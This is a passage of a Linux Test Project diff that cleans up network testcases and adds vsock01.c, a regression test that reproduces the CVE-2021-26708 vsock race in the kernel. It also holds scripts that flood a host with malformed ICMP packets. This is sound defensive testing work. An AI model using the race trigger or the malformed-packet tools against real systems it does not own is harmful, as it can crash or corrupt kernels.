 	svcr = svcfd_create(fd, 1024, 1024);
 
+	//check returned value
+	if (svcr == NULL)
+		return test_status;
+
 	//call routine
 	xprt_register(svcr);
 
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_xprt_unregister/rpc_xprt_unregister.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_xprt_unregister/rpc_xprt_unregister.c
index d0b7a20..3b6130e 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_xprt_unregister/rpc_xprt_unregister.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/rpc/rpc_regunreg_xprt_unregister/rpc_xprt_unregister.c
@@ -53,6 +53,10 @@
 	//create a server
 	svcr = svcfd_create(fd, 1024, 1024);
 
+	//check returned value
+	if (svcr == NULL)
+		return test_status;
+
 	xprt_register(svcr);
 	//call routine
 	xprt_unregister(svcr);
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create.c
index 5a61aa7..943cacc 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_dg_create/tirpc_svc_dg_create.c
@@ -49,7 +49,7 @@
 	}
 
 	transp = svc_dg_create(sock, 0, 0);
-	test_status = ((SVCXPRT *) transp != NULL) ? 0 : 1;
+	test_status = (transp != NULL) ? 0 : 1;
 
 	if (transp != NULL)
 		svc_destroy(transp);
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create.c
index cfe55be..c0a6393 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_bottomlevel_svc_vc_create/tirpc_svc_vc_create.c
@@ -54,7 +54,7 @@
 	}
 
 	transp = svc_vc_create(sock, 0, 0);
-	test_status = ((SVCXPRT *) transp != NULL) ? 0 : 1;
+	test_status = (transp != NULL) ? 0 : 1;
 
 	if (transp != NULL)
 		svc_destroy(transp);
diff --git a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create.c b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create.c
index a3ee981..85d0a34 100644
--- a/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create.c
+++ b/testcases/network/rpc/rpc-tirpc/tests_pack/rpc_suite/tirpc/tirpc_expertlevel_svc_tli_create/tirpc_svc_tli_create.c
@@ -63,7 +63,7 @@
 
 	transp = svc_tli_create(RPC_ANYFD, nconf, NULL, 0, 0);
 
-	test_status = ((SVCXPRT *) transp != NULL) ? 0 : 1;
+	test_status = (transp != NULL) ? 0 : 1;
 
 	//This last printf gives the result status to the tests suite
 	//normally should be 0: test has passed or 1: test has failed
diff --git a/testcases/network/sctp/Makefile b/testcases/network/sctp/Makefile
index 0fa9125..7a75867 100644
--- a/testcases/network/sctp/Makefile
+++ b/testcases/network/sctp/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/sctp/sctp01.sh b/testcases/network/sctp/sctp01.sh
index a42bd49..4dfef86 100755
--- a/testcases/network/sctp/sctp01.sh
+++ b/testcases/network/sctp/sctp01.sh
@@ -9,7 +9,6 @@
 TST_TEST_DATA=",-A 65000"
 TST_TEST_DATA_IFS=","
 
-. tst_net.sh
 
 test()
 {
@@ -26,4 +25,5 @@
 	tst_netload_compare $res0 $res1 -200 200
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/sctp/sctp_big_chunk.c b/testcases/network/sctp/sctp_big_chunk.c
index 8b584ba..a6a326e 100644
--- a/testcases/network/sctp/sctp_big_chunk.c
+++ b/testcases/network/sctp/sctp_big_chunk.c
@@ -178,7 +178,7 @@
 	.forks_child = 1,
 	.test_all = run,
 	.options = (struct tst_option[]) {
-		{"a:", &addr_param, "-a       number of additional IP address params"},
+		{"a:", &addr_param, "Number of additional IP address params"},
 		{}
 	},
 	.tags = (const struct tst_tag[]) {
diff --git a/testcases/network/sockets/Makefile b/testcases/network/sockets/Makefile
index a7c263a..5d655b8 100644
--- a/testcases/network/sockets/Makefile
+++ b/testcases/network/sockets/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/sockets testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
@@ -28,4 +10,5 @@
 
 LDLIBS			+= -lpthread
 
+include $(top_srcdir)/include/mk/testcases.mk
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/sockets/bind_noport01.sh b/testcases/network/sockets/bind_noport01.sh
index 4eec4fd..19235af 100755
--- a/testcases/network/sockets/bind_noport01.sh
+++ b/testcases/network/sockets/bind_noport01.sh
@@ -8,7 +8,6 @@
 TST_NEEDS_TMPDIR=1
 TST_TEST_DATA="tcp udp udp_lite dccp"
 
-. tst_net.sh
 
 test1()
 {
@@ -31,4 +30,5 @@
 }
 
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/sockets/vsock01.c b/testcases/network/sockets/vsock01.c
new file mode 100644
index 0000000..1e688df
--- /dev/null
+++ b/testcases/network/sockets/vsock01.c
@@ -0,0 +1,130 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2021 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Reproducer of CVE-2021-26708
+ *
+ * Based on POC https://github.com/jordan9001/vsock_poc
+ * Fuzzy Sync has been substituted for userfaultfd.
+ *
+ * Fixed by: c518adafa39f ("vsock: fix the race conditions in multi-transport support")
+ * Fixes: c0cfa2d8a788fcf4 ("vsock: add multi-transports support")
+ *
+ * Note that in many testing environments this will reproduce the race
+ * silently. For the test to produce visible errors the loopback
+ * transport should be registered, but not the g2h or h2g transports.
+ *
+ * One way to do this is to remove CONFIG_VIRTIO_VSOCKETS in the guest
+ * or CONFIG_VHOST_VSOCK on the host. Or just unload the
+ * modules. Alternatively run the test on a bare metal host which has
+ * never started a VM.
+ */
+
+#include "config.h"
+#include "tst_test.h"
+
+#if HAVE_LINUX_VM_SOCKETS_H
+#  include "tst_fuzzy_sync.h"
+#  include "lapi/vm_sockets.h"
+
+static struct tst_fzsync_pair pair;
+static int vsock = -1;
+
+static void *writer(LTP_ATTRIBUTE_UNUSED void *unused)
+{
+	const uint64_t b_buflen = 0x4141;
+
+	while (tst_fzsync_run_b(&pair)) {
+		tst_fzsync_start_race_b(&pair);
+		SAFE_SETSOCKOPT(vsock, AF_VSOCK,
+				SO_VM_SOCKETS_BUFFER_SIZE,
+				&b_buflen, sizeof(b_buflen));
+		tst_fzsync_end_race_b(&pair);
+	}
+
+
+	return NULL;
+}
+
+static void run(void)
+{
+	struct sockaddr_vm addr = { 0 };
+	const struct timeval timeout = { 0, 1 };
+	const uint64_t a_buflen = 0x4140;
+
+	vsock = SAFE_SOCKET(AF_VSOCK, SOCK_STREAM, 0);
+	SAFE_SETSOCKOPT(vsock, AF_VSOCK, SO_VM_SOCKETS_CONNECT_TIMEOUT,
+			&timeout, sizeof(timeout));
+
+	tst_res(TINFO, "Colliding transport change and setsockopt");
+	tst_fzsync_pair_reset(&pair, writer);
+	while (tst_fzsync_run_a(&pair)) {
+
+		addr.svm_family = AF_VSOCK;
+		addr.svm_port = 1234;
+		addr.svm_cid = VMADDR_CID_LOCAL;
+
+		if (!connect(vsock, (struct sockaddr *)&addr, sizeof(addr)))
+			tst_brk(TCONF, "Connected to something on VSOCK loopback");
+
+		if (errno == ENODEV)
+			tst_brk(TCONF | TERRNO, "No loopback transport");
+
+		SAFE_SETSOCKOPT(vsock, AF_VSOCK,
+				SO_VM_SOCKETS_BUFFER_SIZE,
+				&a_buflen, sizeof(a_buflen));
+
+		addr.svm_family = AF_VSOCK;
+		addr.svm_port = 5678;
+		addr.svm_cid = VMADDR_CID_HOST + 3;
+
+		tst_fzsync_start_race_a(&pair);
+		TEST(connect(vsock, (struct sockaddr *)&addr, sizeof(addr)));
+		tst_fzsync_end_race_a(&pair);
+
+		if (!TST_RET) {
+			tst_brk(TCONF,
+				"g2h or h2g transport exists and we connected to something");
+		}
+	}
+
+	SAFE_CLOSE(vsock);
+	tst_res(TPASS, "Nothing bad happened, probably.");
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&pair);
+}
+
+static void setup(void)
+{
+	tst_fzsync_pair_init(&pair);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.max_runtime = 60,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_VSOCKETS_LOOPBACK",
+		NULL
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "c518adafa39f"},
+		{"CVE", "CVE-2021-26708"},
+		{}
+	},
+};
+
+#else
+
+TST_TEST_TCONF("No linux/vm_sockets.h");
+
+#endif
diff --git a/testcases/network/stress/Makefile b/testcases/network/stress/Makefile
index 2b26ac4..d3a7088 100644
--- a/testcases/network/stress/Makefile
+++ b/testcases/network/stress/Makefile
@@ -1,24 +1,6 @@
-#
-#    network/stress test suite Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2009, Cisco Systems Inc.
 # Ngie Cooper, July 2009
-#
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/stress/broken_ip/Makefile b/testcases/network/stress/broken_ip/Makefile
index e530c7c..0a5207a 100644
--- a/testcases/network/stress/broken_ip/Makefile
+++ b/testcases/network/stress/broken_ip/Makefile
@@ -8,6 +8,4 @@
 
 INSTALL_TARGETS		:= broken_ip*
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/broken_ip/broken_ip-checksum b/testcases/network/stress/broken_ip/broken_ip-checksum
deleted file mode 100644
index 78f00ce..0000000
--- a/testcases/network/stress/broken_ip/broken_ip-checksum
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
-# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2006
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-
-TST_TESTFUNC="do_test"
-. tst_net.sh
-
-do_test()
-{
-	tst_res TINFO "Sending ICMPv$TST_IPVER with wrong chksum field for $NS_DURATION sec"
-	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMP_SENDER_DATA_MAXSIZE" -c
-	tst_ping
-}
-
-tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-checksum.sh b/testcases/network/stress/broken_ip/broken_ip-checksum.sh
new file mode 100755
index 0000000..64b1ac4
--- /dev/null
+++ b/testcases/network/stress/broken_ip/broken_ip-checksum.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2006
+# Author: Mitsuru Chinen <mitch@jp.ibm.com>
+
+TST_TESTFUNC="do_test"
+
+do_test()
+{
+	# not supported on IPv6
+	TST_IPV6=
+	TST_IPVER=4
+
+	tst_res TINFO "Sending ICMPv4 with wrong chksum field for $NS_DURATION sec"
+	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMPV4_SENDER_DATA_MAXSIZE" -c
+	tst_ping
+}
+
+. tst_net.sh
+tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-dstaddr b/testcases/network/stress/broken_ip/broken_ip-dstaddr.sh
old mode 100644
new mode 100755
similarity index 99%
rename from testcases/network/stress/broken_ip/broken_ip-dstaddr
rename to testcases/network/stress/broken_ip/broken_ip-dstaddr.sh
index 9ba8c81..56a9724
--- a/testcases/network/stress/broken_ip/broken_ip-dstaddr
+++ b/testcases/network/stress/broken_ip/broken_ip-dstaddr.sh
@@ -6,7 +6,6 @@
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
 TST_TESTFUNC="do_test"
-. tst_net.sh
 
 do_test()
 {
@@ -15,4 +14,5 @@
 	tst_ping
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-fragment b/testcases/network/stress/broken_ip/broken_ip-fragment
deleted file mode 100644
index 1f5e5f7..0000000
--- a/testcases/network/stress/broken_ip/broken_ip-fragment
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
-# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2006
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-
-TST_TESTFUNC="do_test"
-. tst_net.sh
-
-do_test()
-{
-	tst_res TINFO "Sending ICMPv$TST_IPVER with wrong frag. info for $NS_DURATION sec"
-	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMP_SENDER_DATA_MAXSIZE" -f
-	tst_ping
-}
-
-tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-fragment.sh b/testcases/network/stress/broken_ip/broken_ip-fragment.sh
new file mode 100755
index 0000000..95efb63
--- /dev/null
+++ b/testcases/network/stress/broken_ip/broken_ip-fragment.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2006
+# Author: Mitsuru Chinen <mitch@jp.ibm.com>
+
+TST_TESTFUNC="do_test"
+
+do_test()
+{
+	# not supported on IPv6
+	TST_IPV6=
+	TST_IPVER=4
+
+	tst_res TINFO "Sending ICMPv4 with wrong frag. info for $NS_DURATION sec"
+	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMPV4_SENDER_DATA_MAXSIZE" -f
+	tst_ping
+}
+
+. tst_net.sh
+tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-ihl b/testcases/network/stress/broken_ip/broken_ip-ihl
deleted file mode 100644
index 9f2a425..0000000
--- a/testcases/network/stress/broken_ip/broken_ip-ihl
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
-# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2006
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-
-TST_TESTFUNC="do_test"
-. tst_net.sh
-
-do_test()
-{
-	tst_res TINFO "Sending ICMPv$TST_IPVER with wrong header len field for $NS_DURATION sec"
-	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMP_SENDER_DATA_MAXSIZE" -l
-	tst_ping
-}
-
-tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-ihl.sh b/testcases/network/stress/broken_ip/broken_ip-ihl.sh
new file mode 100755
index 0000000..6588a16
--- /dev/null
+++ b/testcases/network/stress/broken_ip/broken_ip-ihl.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2006
+# Author: Mitsuru Chinen <mitch@jp.ibm.com>
+
+TST_TESTFUNC="do_test"
+
+do_test()
+{
+	# not supported on IPv6
+	TST_IPV6=
+	TST_IPVER=4
+
+	tst_res TINFO "Sending ICMPv4 with wrong header len field for $NS_DURATION sec"
+	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMPV4_SENDER_DATA_MAXSIZE" -l
+	tst_ping
+}
+
+. tst_net.sh
+tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-nexthdr b/testcases/network/stress/broken_ip/broken_ip-nexthdr
deleted file mode 100644
index 475b92b..0000000
--- a/testcases/network/stress/broken_ip/broken_ip-nexthdr
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
-# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2006
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-
-TST_TESTFUNC="do_test"
-. tst_net.sh
-
-do_test()
-{
-	tst_res TINFO "Sending ICMPv$TST_IPVER with wrong next header for $NS_DURATION sec"
-	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMP_SENDER_DATA_MAXSIZE" -n
-	tst_ping
-}
-
-tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-nexthdr.sh b/testcases/network/stress/broken_ip/broken_ip-nexthdr.sh
new file mode 100755
index 0000000..805b1f5
--- /dev/null
+++ b/testcases/network/stress/broken_ip/broken_ip-nexthdr.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2006
+# Author: Mitsuru Chinen <mitch@jp.ibm.com>
+
+TST_TESTFUNC="do_test"
+
+do_test()
+{
+	tst_res TINFO "Sending ICMPv6 with wrong next header for $NS_DURATION sec"
+	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMPV6_SENDER_DATA_MAXSIZE" -n
+	tst_ping
+}
+
+. tst_net.sh
+# not supported on IPv4
+TST_IPV6=6
+TST_IPVER=6
+
+tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-plen b/testcases/network/stress/broken_ip/broken_ip-plen.sh
old mode 100644
new mode 100755
similarity index 99%
rename from testcases/network/stress/broken_ip/broken_ip-plen
rename to testcases/network/stress/broken_ip/broken_ip-plen.sh
index e757507..2108a95
--- a/testcases/network/stress/broken_ip/broken_ip-plen
+++ b/testcases/network/stress/broken_ip/broken_ip-plen.sh
@@ -6,7 +6,6 @@
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
 TST_TESTFUNC="do_test"
-. tst_net.sh
 
 do_test()
 {
@@ -15,4 +14,5 @@
 	tst_ping
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-protcol b/testcases/network/stress/broken_ip/broken_ip-protcol
deleted file mode 100644
index a91cdaa..0000000
--- a/testcases/network/stress/broken_ip/broken_ip-protcol
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
-# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2006
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-
-TST_TESTFUNC="do_test"
-. tst_net.sh
-
-do_test()
-{
-	tst_res TINFO "Sending ICMPv$TST_IPVER with wrong proto field for $NS_DURATION sec"
-	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMP_SENDER_DATA_MAXSIZE" -p
-	tst_ping
-}
-
-tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-protcol.sh b/testcases/network/stress/broken_ip/broken_ip-protcol.sh
new file mode 100755
index 0000000..1563266
--- /dev/null
+++ b/testcases/network/stress/broken_ip/broken_ip-protcol.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019-2021 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2006
+# Author: Mitsuru Chinen <mitch@jp.ibm.com>
+
+TST_TESTFUNC="do_test"
+
+do_test()
+{
+	# not supported on IPv6
+	TST_IPV6=
+	TST_IPVER=4
+
+	tst_res TINFO "Sending ICMPv4 with wrong proto field for $NS_DURATION sec"
+	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMPV4_SENDER_DATA_MAXSIZE" -p
+	tst_ping
+}
+
+. tst_net.sh
+tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-totlen b/testcases/network/stress/broken_ip/broken_ip-totlen
deleted file mode 100644
index 384e641..0000000
--- a/testcases/network/stress/broken_ip/broken_ip-totlen
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
-# Copyright (c) 2014-2017 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2006
-# Author: Mitsuru Chinen <mitch@jp.ibm.com>
-
-TST_TESTFUNC="do_test"
-. tst_net.sh
-
-do_test()
-{
-	tst_res TINFO "Sending ICMPv$TST_IPVER with wrong total len field for $NS_DURATION sec"
-	tst_icmp -t $NS_DURATION -s "0 100 500 1000 $NS_ICMP_SENDER_DATA_MAXSIZE" -L
-	tst_ping
-}
-
-tst_run
diff --git a/testcases/network/stress/broken_ip/broken_ip-version b/testcases/network/stress/broken_ip/broken_ip-version.sh
old mode 100644
new mode 100755
similarity index 99%
rename from testcases/network/stress/broken_ip/broken_ip-version
rename to testcases/network/stress/broken_ip/broken_ip-version.sh
index 535a07f..4c80f23
--- a/testcases/network/stress/broken_ip/broken_ip-version
+++ b/testcases/network/stress/broken_ip/broken_ip-version.sh
@@ -6,7 +6,6 @@
 # Author: Mitsuru Chinen <mitch@jp.ibm.com>
 
 TST_TESTFUNC="do_test"
-. tst_net.sh
 
 do_test()
 {
@@ -15,4 +14,5 @@
 	tst_ping
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/stress/dccp/Makefile b/testcases/network/stress/dccp/Makefile
index 00ca0a2..76ad463 100644
--- a/testcases/network/stress/dccp/Makefile
+++ b/testcases/network/stress/dccp/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/network/stress/dccp/dccp_ipsec.sh b/testcases/network/stress/dccp/dccp_ipsec.sh
index ff86063..50c45b8 100755
--- a/testcases/network/stress/dccp/dccp_ipsec.sh
+++ b/testcases/network/stress/dccp/dccp_ipsec.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -8,7 +8,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=tst_ipsec_setup
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 do_test()
 {
@@ -19,4 +18,5 @@
 	tst_netload -H $(tst_ipaddr rhost) -T dccp $opts -r $IPSEC_REQUESTS
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/dccp/dccp_ipsec_vti.sh b/testcases/network/stress/dccp/dccp_ipsec_vti.sh
index 24c28fb..566c36d 100755
--- a/testcases/network/stress/dccp/dccp_ipsec_vti.sh
+++ b/testcases/network/stress/dccp/dccp_ipsec_vti.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2018-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
@@ -8,7 +8,6 @@
 TST_TESTFUNC=do_test
 TST_SETUP=tst_ipsec_setup_vti
 TST_CLEANUP=tst_ipsec_cleanup
-. ipsec_lib.sh
 
 do_test()
 {
@@ -19,4 +18,5 @@
 	tst_netload -H $ip_rmt_tun -T dccp $opts -r $IPSEC_REQUESTS -D $tst_vti
 }
 
+. ipsec_lib.sh
 tst_run
diff --git a/testcases/network/stress/dns/Makefile b/testcases/network/stress/dns/Makefile
index a345f12..4c34ee2 100644
--- a/testcases/network/stress/dns/Makefile
+++ b/testcases/network/stress/dns/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= *.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/dns/dns-stress.sh b/testcases/network/stress/dns/dns-stress.sh
index dfc2ed5..c903666 100755
--- a/testcases/network/stress/dns/dns-stress.sh
+++ b/testcases/network/stress/dns/dns-stress.sh
@@ -23,7 +23,6 @@
 TST_CLEANUP="cleanup"
 
 TST_USE_LEGACY_API=1
-. tst_net.sh
 
 # Minimum host ID in the zone file.
 # The ID is used as the host portion of the address
@@ -196,13 +195,10 @@
 	tst_resm TPASS "Test is finished successfully"
 }
 
+. tst_net.sh
 common_setup
-
 setup_$TST_IPVER
-
 start_named
-
 test01
 test02
-
 tst_exit
diff --git a/testcases/network/stress/ftp/Makefile b/testcases/network/stress/ftp/Makefile
index 38cbd13..9257ef9 100644
--- a/testcases/network/stress/ftp/Makefile
+++ b/testcases/network/stress/ftp/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS		:= *.sh
 
-MAKE_TARGETS		:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/stress/ftp/ftp-download-stress.sh b/testcases/network/stress/ftp/ftp-download-stress.sh
index 4320bbd..44d8b8e 100755
--- a/testcases/network/stress/ftp/ftp-download-stress.sh
+++ b/testcases/network/stress/ftp/ftp-download-stress.sh
